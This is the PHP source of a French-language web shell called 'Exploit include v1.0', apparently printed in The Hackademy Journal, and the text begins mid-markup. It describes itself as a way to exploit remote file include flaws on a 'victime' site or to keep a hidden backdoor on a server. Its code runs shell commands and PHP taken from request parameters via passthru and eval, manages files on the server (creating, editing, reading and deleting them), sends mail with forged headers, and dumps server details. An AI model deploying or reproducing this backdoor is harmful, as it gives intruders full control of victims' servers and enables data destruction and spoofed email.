"); print("

Exploit include v1.0

"); print("

Ce script permet d'exploiter une faille include ou une frame mal placée de type : www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entrée dérobée.

par rAidEn & LFL , article publié dans The Hackademy Journal numéro 12

Spécial greetz à : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils, IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oublié & aussi et surtout à (feu)tim-team

"); /******Code source du système de remote*****/ $QS = $QUERY_STRING; if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur"; if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur"; /*pour les forms*********************************/ $tab = explode("&", $QS); $i=0; $remf = ""; while( $tab[$i] != "" && $tab[$i-1] != "separateur" ) { $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]); eval("\$temp2=\${$temp};"); $remf .= "\n"; $i++; } /* $temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]); if($temp!="") { eval("\$temp2=\${$temp};"); $remf .= "\n"; }*/ /************************************************/ /*pour les links*********************************/ if($QS != "separateur") $reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) . "&separateur"; else $reml = "?$QS"; $adresse_locale = $reml; /************************************************/ print("
"); print("Exécuter une commande dans un shell
"); print("Exécuter du code PHP
"); print("Lister un répertoires
"); print("Gérer les fichiers
"); print("Envoyer un mail
"); print("Infos serveur
"); print("Contacter le créateur

"); /* récupération des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */ $option = $_REQUEST["option"]; $rep = $_REQUEST["rep"]; $nom = $_REQUEST["nom"]; $option_file = $_REQUEST["option_file"]; $cmd = $_REQUEST["cmd"]; $code = $_REQUEST["code"]; $msg = $_REQUEST["msg"]; $option_mail = $_REQUEST["option_mail"]; $destinataire = $_REQUEST["destinataire"]; $sujet = $_REQUEST["sujet"]; $message = $_REQUEST["message"]; if($option == 1){ print("
$remf Commande :
"); echo "
PS : peu de serveurs acceptent les commandes venant de PHP"; } if($option == 2){ print("
$remf Code :
"); } if($option == 3){ print("
$remf Répertoire à lister :
"); print("$rep"); } if($option == 4){ print("
$remf"); print("
Nom du fichier :
"); print(""); print("Créer le fichier"); print("Éditer le fichier"); print("Supprimer le fichier"); print("Lire le fichier"); print(""); print("
"); } if($option == 5){ print("
$remf Destinataire : "); print("
Provenance du mail :
"); print("Adresse de retour :
"); print("Sujet :
"); print("Message :
"); } if($option == 6){ echo"Nom du serveur : $SERVER_NAME
"; echo"Adresse IP du serveur : $SERVER_ADDR
"; echo"Port utilisé par défault 80 : $SERVER_PORT
"; echo"Mail de l' admin : $SERVER_ADMIN

"; echo"Racine du serveur : $DOCUMENT_ROOT
"; echo"Adresse menant à COMMAND.COM : $COMSPEC
"; echo"Path installé sur le serveur : $PATH
"; echo"OS, SERVEUR, version PHP : $SERVER_SOFTWARE

"; echo"Version du protocole utilisé (HTTP) : $SERVER_PROTOCOL
"; echo"En-tête Accept du protocole HTTP : $HTTP_ACCEPT
"; echo"En tête User_agent du protocole HTTP : $HTTP_USER_AGENT
"; echo"En-tête Accept-Charset du protocole HTTP : $HTTP_ACCEPT_CHARSET
"; echo"En-tête Accept-Encoding du protocole HTTP : $HTTP_ACCEPT_ENCODING
"; echo"En-tête Accept-Language du protocole HTTP : $HTTP_ACCEPT_LANGUAGE
"; echo"En-tête Connection du protocole HTTP : $HTTP_CONNECTION
"; echo"En-tête Host du protocole HTTP : $HTTP_HOST

"; echo"Version de CGI : $GATEWAY_INTERFACE
"; echo"Version de récupération du form : $REQUEST_METHOD
"; echo"Argument de l' adresse : $QUERY_STRING
"; echo"Nom du script : $SCRIPT_NAME
"; echo"Chemin du script : $SCRIPT_FILENAME
"; echo"Adresse entière du script : $REQUEST_URI
"; } /* Commande*******/ if($cmd != "") { echo "{${passthru($cmd)}}
"; } /* Commande*******/ /* Exécution de code PHP**********/ if($code != ""){ $code = stripslashes($code); eval($code); } /* Execution de code PHP**********/ /* Listing de rep******************/ if($rep != "") { if(strrchr($rep, "/") != "" || !stristr($rep, "/")) $rep .= "/"; $dir=opendir($rep); while ($file = readdir($dir)) { if (is_dir("$rep/$file") && $file!='.') { echo"
  • (rep) $file
    \n"; }elseif(is_file("$rep/$file")) { echo "
  • (file) $file del edit
    \n"; } } } /* Listing de rep******************/ /* Gestion des fichiers*********************/ if($option_file == "mkdir" && $nom != "") { $fp = fopen($nom, "w"); fwrite($fp, stripslashes($msg)); print("Fichier crée/modifié"); } if($option_file == "read" && $nom != "") { $fp = fopen($nom, "r"); $file = fread($fp, filesize($nom)); $file = htmlentities ($file, ENT_QUOTES); $file = nl2br($file); echo "
    $file"; } if($option_file == "del" && $nom != "") { unlink($nom); print("Fichier effacé"); } if($option_file == "edit" && $nom != "") { $fp = fopen($nom, "r"); $file = fread($fp, filesize($nom)); $file = htmlentities ($file, ENT_QUOTES); echo "
    $remf"; echo ""; echo ""; echo ""; echo "
    PS : les fichiers trop longs ne passent po :("; echo "
    "; } /* Gestion des fichiers*********************/ /* Envoi de mails************************/ if(($destinataire != "" ) && ($sujet != "") && ($message != "")){ $option_mail = "From: $provenance \n"; $option_mail .= "Reply-to: $retour \n"; $option_mail .= "X-Mailer: Mailer by rAidEn \n"; mail($destinataire, $sujet, $message, $option_mail); print("Mail envoyé a : $destinataire ..."); } /* Envoi de mails************************/ print(""); /*print("